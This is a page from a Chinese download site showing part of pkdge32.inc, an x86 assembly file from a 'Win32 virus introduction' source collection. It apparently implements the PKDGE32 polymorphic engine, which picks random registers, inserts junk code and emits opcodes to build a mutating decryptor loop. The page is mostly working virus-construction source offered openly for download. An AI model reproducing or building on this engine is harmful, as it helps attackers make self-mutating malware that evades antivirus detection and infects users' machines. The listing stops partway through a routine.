⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pkdge32.inc

📁 Win32病毒入门源码
💻 INC
📖 第 1 页 / 共 3 页
字号:
                call    __pkdge32_junk

                mov     eax,ebx                 ; inc Rw
                shr     eax,12                  ; ...
                and     eax,7                   ; ...
                or      al,40h
                stosb
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; dec Rz
                shr     eax,4                   ; ...
                and     eax,7                   ; ...
                or      al,48h                  ; ...
                stosb                           ; ...

                pop     eax                     ; jnz decrypt_loop
                sub     eax,edi                 ; get delta
                dec     eax                     ; ...
                dec     eax                     ; ...
                push    eax
                mov     al,75h                  ; write opcode
                stosb                           ; ...
                pop     eax
                stosb                           ; write operand
                xor     eax,eax
                call    __pkdge32_junk

                mov     [esp],edi               ; save new EDI
                popad
                ret

pkdg_gen_1:     mov     esi,[esp+20]            ; get offset code2decrypt
                mov     eax,ebx                 ; get Rw
                shr     eax,12                  ; ...
                call    pkdge32_gen12
                mov     [esp+32],eax            ; save offset of code2decrypt
                ret
pkdg_gen_2:     mov     esi,[esp+28]            ; get decrypt_size
                mov     eax,ebx                 ; get Rz
                shr     eax,4                   ; ...
                and     eax,0fh                 ; ...
                call    pkdge32_gen12
                ret

;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;

pkdge32_gen12:  push    ecx
                push    eax                     ; save mask
                mov     ecx,2                   ; determine using MOV REG/IMM
                call    __random_rdtsc          ; or PUSH IMM/POP REG
                or      eax,eax
                pop     eax                     ; restore mask
                pop     ecx
                jz      pkdg_g123_0
                call    __pkdge32_gen_mov_reg_imm
                push    edi
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret
pkdg_g123_0:    call    __pkdge32_gen_pushimm_popreg
                push    eax
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret

;
; This procudure selectz the random register Rw, Rx, Ry, Rz.  The function will
; make EBX to the following structure:
;
;   31                      15                          0
;   +-----+-----+-----+-----+------+------+------+------+
;   |  0  |  0  |  0  |  0  |  Rw  |  Ry  |  Rz  |  Rx  |
;   +-----+-----+-----+-----+------+------+------+------+
;

pkdg_sel_reg:   mov     eax,[esp+8]             ; select random register
                mov     edx,8                   ; ...
                call    __random                ; ...
                or      al,al
                jz      pkdg_sel_reg            ; don't use EAX
                cmp     al,4
                jz      pkdg_sel_reg            ; don't use ESP
                cmp     al,5
                jz      pkdg_sel_reg            ; don't use EBP
                or      al,8                    ; DWORD type

                push    ebx
                and     ebx,0fh
                cmp     bl,al                   ; R == Rx ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,4
                and     ebx,0fh
                cmp     bl,al                   ; R == Rz ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,8
                cmp     bl,al                   ; R == Ry ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,12
                cmp     bl,al                   ; R == Rw ?
                pop     ebx
                jz      pkdg_sel_reg
                ret


;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All  the  register  mask  in  the  engine  (PKDGE32) measure up this formula:
; bit  2~0  specifies the register mask,  bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 |  type  |
; +-------+-------+--------+
; |   x   |   0   |  byte  |
; +-------+-------+--------+
; |   0   |   1   | dword  |
; +-------+-------+--------+
; |   1   |   1   |  word  |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H.  If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing
;

__pkdge32_test_regmask:
                test    ah,1
                jz      pkdg_trm_ret
                push    eax
                mov     al,66h
                stosb
                pop     eax
pkdg_trm_ret:   ret


;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_mov_reg_imm:
                call    __pkdge32_test_regmask
                push    esi
                or      al,0b0h                 ; generate opcode
                stosb                           ; ...
                xchg    eax,esi                 ; EAX get the operand
                shr     esi,4
                jc      pkdg_gmri_dw            ; word/dword ? byte ?
                stosb                           ; byte
                pop     esi
                ret
pkdg_gmri_dw:   shr     esi,5
                pop     esi
                jc      pkdg_gmri_w
                stosd                           ; dword
                ret
pkdg_gmri_w:    stosw                           ; word
                ret


;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_pushimm_popreg:
                call    __pkdge32_test_regmask
                push    ecx
                mov     ecx,esi                 ; save IMM in ecx
                xchg    esi,eax
                test    esi,8                   ; test BYTE or WORD/DWORD
                jz      pkdg_gpp_b
                mov     al,68h                  ; push WORD/DWORD
                stosb                           ; write opcode
                xchg    eax,ecx                 ; get IMM
                test    esi,100h                ; test WORD or DWORD
                jnz     pkdg_gpp_w
                stosd                           ; write operand
                jmp     pkdg_gpp_pop
pkdg_gpp_w:     stosw
                jmp     pkdg_gpp_pop
pkdg_gpp_b:     mov     al,6ah                  ; push BYTE
                stosb                           ; write opcode
                mov     al,cl                   ; get IMM
                stosb                           ; write operand
pkdg_gpp_pop:   push    edi
                xor     eax,eax
                push    esi
                mov     esi,[esp+28]
                call    __pkdge32_junk
                pop     esi
                call    __pkdge32_test_regmask
                xchg    esi,eax
                or      al,58h                  ; generate POP opcode
                stosb                           ; write pop REG opcode
                pop     eax
                pop     ecx
                ret


;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       esi --- the immediate number
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_xor_reg_imm:
                call    __pkdge32_test_regmask
                test    al,1000b
                jnz     pkdg_gxri_dw
                and     eax,7                   ; register mask
                xchg    al,ah
                or      eax,3080h
                stosw
                xchg    eax,esi
                stosb
                ret
pkdg_gxri_dw:   push    eax

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -